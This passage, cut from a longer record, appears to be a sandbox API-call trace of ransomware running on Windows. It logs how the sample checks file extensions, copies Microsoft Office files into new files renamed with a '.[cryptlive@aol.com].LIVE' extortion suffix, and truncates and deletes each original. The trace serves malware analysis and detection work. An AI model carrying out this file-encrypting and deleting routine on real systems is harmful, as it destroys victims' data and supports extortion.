Office\\Office14\\ContactPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\contactpicker.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0152.028] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=222592) returned 1 [0152.028] CloseHandle (hObject=0x384) returned 1 [0152.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\contactpicker.dll")) returned 0x20 [0152.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\contactpicker.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\contactpicker.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0152.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0152.285] lstrlenW (lpString=".doc") returned 4 [0152.285] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0152.285] lstrlenW (lpString=".docx") returned 5 [0152.285] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0152.285] lstrlenW (lpString=".pdf") returned 4 [0152.285] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0152.285] lstrlenW (lpString=".xls") returned 4 [0152.285] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0152.285] lstrlenW (lpString=".xlsx") returned 5 [0152.285] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0152.285] lstrlenW (lpString=".ppt") returned 4 [0152.285] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0152.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0152.285] lstrlenW (lpString=".zip") returned 4 [0152.285] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0152.285] lstrlenW (lpString=".rar") returned 4 [0152.285] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0152.285] lstrlenW (lpString=".bz2") returned 4 [0152.285] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0152.285] lstrlenW (lpString=".7z") returned 3 [0152.286] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0152.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0152.286] lstrlenW (lpString=".dbf") returned 4 [0152.286] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0152.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0152.286] lstrlenW (lpString=".1cd") returned 4 [0152.286] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0152.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0152.286] lstrlenW (lpString=".jpg") returned 4 [0152.286] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0152.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0152.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0152.286] lstrlenW (lpString=".doc") returned 4 [0152.286] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0152.286] lstrlenW (lpString=".docx") returned 5 [0152.286] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0152.286] lstrlenW (lpString=".pdf") returned 4 [0152.286] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0152.286] lstrlenW (lpString=".xls") returned 4 [0152.286] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0152.286] lstrlenW (lpString=".xlsx") returned 5 [0152.286] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0152.286] lstrlenW (lpString=".ppt") returned 4 [0152.286] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0152.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0152.286] lstrlenW (lpString=".zip") returned 4 [0152.286] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0152.286] lstrlenW (lpString=".rar") returned 4 [0152.286] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0152.286] lstrlenW (lpString=".bz2") returned 4 [0152.286] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0152.286] lstrlenW (lpString=".7z") returned 3 [0152.287] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0152.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0152.287] lstrlenW (lpString=".dbf") returned 4 [0152.287] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0152.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0152.287] lstrlenW (lpString=".1cd") returned 4 [0152.287] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0152.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0152.287] lstrlenW (lpString=".jpg") returned 4 [0152.287] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0152.287] lstrcmpiW (lpString1=".FAE", lpString2=".LIVE") returned -1 [0152.287] lstrlenW (lpString="OLAPPTR.FAE") returned 11 [0152.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0152.288] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=11704) returned 1 [0152.288] CloseHandle (hObject=0x1f8) returned 1 [0152.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae")) returned 0x20 [0152.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0152.288] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.288] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0152.851] GetLastError () returned 0x0 [0152.851] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x2db8, lpOverlapped=0x0) returned 1 [0152.853] WriteFile (in: hFile=0x350, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x2dc0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x2dc0, lpOverlapped=0x0) returned 1 [0152.854] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.854] WriteFile (in: hFile=0x350, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0152.854] SetEndOfFile (hFile=0x350) returned 1 [0152.854] CloseHandle (hObject=0x350) returned 1 [0152.854] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.854] SetEndOfFile (hFile=0x1f8) returned 1 [0152.856] CloseHandle (hObject=0x1f8) returned 1 [0152.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae")) returned 1 [0152.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0152.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0152.858] lstrlenW (lpString=".doc") returned 4 [0152.858] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0152.858] lstrlenW (lpString=".docx") returned 5 [0152.858] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0152.858] lstrlenW (lpString=".pdf") returned 4 [0152.858] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0152.858] lstrlenW (lpString=".xls") returned 4 [0152.858] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0152.858] lstrlenW (lpString=".xlsx") returned 5 [0152.858] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0152.858] lstrlenW (lpString=".ppt") returned 4 [0152.858] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0152.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0152.858] lstrlenW (lpString=".zip") returned 4 [0152.858] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0152.858] lstrlenW (lpString=".rar") returned 4 [0152.858] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0152.858] lstrlenW (lpString=".bz2") returned 4 [0152.858] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0152.858] lstrlenW (lpString=".7z") returned 3 [0152.858] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0152.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0152.858] lstrlenW (lpString=".dbf") returned 4 [0152.858] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0152.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0152.858] lstrlenW (lpString=".1cd") returned 4 [0152.858] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0152.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0152.858] lstrlenW (lpString=".jpg") returned 4 [0152.858] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0152.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0152.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0152.859] lstrlenW (lpString=".doc") returned 4 [0152.859] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0152.859] lstrlenW (lpString=".docx") returned 5 [0152.859] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0152.859] lstrlenW (lpString=".pdf") returned 4 [0152.859] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0152.859] lstrlenW (lpString=".xls") returned 4 [0152.859] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0152.859] lstrlenW (lpString=".xlsx") returned 5 [0152.859] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0152.859] lstrlenW (lpString=".ppt") returned 4 [0152.859] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0152.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0152.859] lstrlenW (lpString=".zip") returned 4 [0152.859] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0152.860] lstrlenW (lpString=".rar") returned 4 [0152.860] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0152.860] lstrlenW (lpString=".bz2") returned 4 [0152.860] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0152.860] lstrlenW (lpString=".7z") returned 3 [0152.860] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0152.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0152.860] lstrlenW (lpString=".dbf") returned 4 [0152.860] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0152.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0152.860] lstrlenW (lpString=".1cd") returned 4 [0152.860] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0152.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0152.860] lstrlenW (lpString=".jpg") returned 4 [0152.860] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0152.860] lstrcmpiW (lpString1=".SAM", lpString2=".LIVE") returned 1 [0152.860] lstrlenW (lpString="DESKSAM.SAM") returned 11 [0152.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0152.986] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=23424) returned 1 [0152.986] CloseHandle (hObject=0x1b8) returned 1 [0152.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam")) returned 0x20 [0153.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0153.017] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.017] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0153.017] GetLastError () returned 0x0 [0153.017] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x5b80, lpOverlapped=0x0) returned 1 [0153.062] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x5b90, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x5b90, lpOverlapped=0x0) returned 1 [0153.063] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.063] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0153.063] SetEndOfFile (hFile=0x1dc) returned 1 [0153.063] CloseHandle (hObject=0x1dc) returned 1 [0153.063] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.064] SetEndOfFile (hFile=0x3a0) returned 1 [0153.066] CloseHandle (hObject=0x3a0) returned 1 [0153.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam")) returned 1 [0153.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0153.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0153.118] lstrlenW (lpString=".doc") returned 4 [0153.118] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0153.118] lstrlenW (lpString=".docx") returned 5 [0153.118] lstrcmpiW (lpString1=".docx", lpString2="M.SAM") returned -1 [0153.118] lstrlenW (lpString=".pdf") returned 4 [0153.118] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0153.118] lstrlenW (lpString=".xls") returned 4 [0153.118] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0153.118] lstrlenW (lpString=".xlsx") returned 5 [0153.118] lstrcmpiW (lpString1=".xlsx", lpString2="M.SAM") returned -1 [0153.118] lstrlenW (lpString=".ppt") returned 4 [0153.118] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0153.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0153.118] lstrlenW (lpString=".zip") returned 4 [0153.118] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0153.118] lstrlenW (lpString=".rar") returned 4 [0153.119] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0153.119] lstrlenW (lpString=".bz2") returned 4 [0153.119] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0153.119] lstrlenW (lpString=".7z") returned 3 [0153.119] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0153.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0153.119] lstrlenW (lpString=".dbf") returned 4 [0153.119] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0153.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0153.119] lstrlenW (lpString=".1cd") returned 4 [0153.119] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0153.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0153.119] lstrlenW (lpString=".jpg") returned 4 [0153.119] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0153.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0153.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0153.119] lstrlenW (lpString=".doc") returned 4 [0153.119] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0153.119] lstrlenW (lpString=".docx") returned 5 [0153.119] lstrcmpiW (lpString1=".docx", lpString2="M.SAM") returned -1 [0153.119] lstrlenW (lpString=".pdf") returned 4 [0153.119] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0153.119] lstrlenW (lpString=".xls") returned 4 [0153.119] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0153.119] lstrlenW (lpString=".xlsx") returned 5 [0153.119] lstrcmpiW (lpString1=".xlsx", lpString2="M.SAM") returned -1 [0153.119] lstrlenW (lpString=".ppt") returned 4 [0153.119] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0153.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0153.119] lstrlenW (lpString=".zip") returned 4 [0153.119] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0153.119] lstrlenW (lpString=".rar") returned 4 [0153.119] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0153.119] lstrlenW (lpString=".bz2") returned 4 [0153.119] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0153.119] lstrlenW (lpString=".7z") returned 3 [0153.120] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0153.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0153.120] lstrlenW (lpString=".dbf") returned 4 [0153.120] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0153.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0153.120] lstrlenW (lpString=".1cd") returned 4 [0153.120] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0153.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0153.120] lstrlenW (lpString=".jpg") returned 4 [0153.120] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0153.120] lstrcmpiW (lpString1=".FAE", lpString2=".LIVE") returned -1 [0153.120] lstrlenW (lpString="OLMAIL.FAE") returned 10 [0153.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0154.213] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=63384) returned 1 [0154.214] CloseHandle (hObject=0x38c) returned 1 [0154.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae")) returned 0x20 [0154.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0154.361] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.361] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0154.362] GetLastError () returned 0x0 [0154.362] ReadFile (in: hFile=0x38c, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0xf798, lpOverlapped=0x0) returned 1 [0154.402] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xf7a0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf7a0, lpOverlapped=0x0) returned 1 [0154.404] ReadFile (in: hFile=0x38c, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.404] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0154.404] SetEndOfFile (hFile=0x1dc) returned 1 [0154.405] CloseHandle (hObject=0x1dc) returned 1 [0154.405] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.405] SetEndOfFile (hFile=0x38c) returned 1 [0154.408] CloseHandle (hObject=0x38c) returned 1 [0154.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE.id-9C354B42.[cryptlive@aol.com].LIVE", 